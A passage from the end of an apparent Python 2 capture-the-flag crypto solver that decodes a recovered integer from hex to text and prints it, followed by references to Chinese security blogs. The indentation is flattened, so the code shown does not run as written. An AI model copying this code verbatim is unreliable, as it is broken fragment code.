if len(hex(m)) < 100:
print(c,hex(m)[2:].replace('L','').decode('hex'))
exit()
if __name__ == '__main__':
main()
参考文献:
https://www.anquanke.com/post/id/244824#h3-13
https://blog.csdn.net/weixin_39190897/article/details/118066125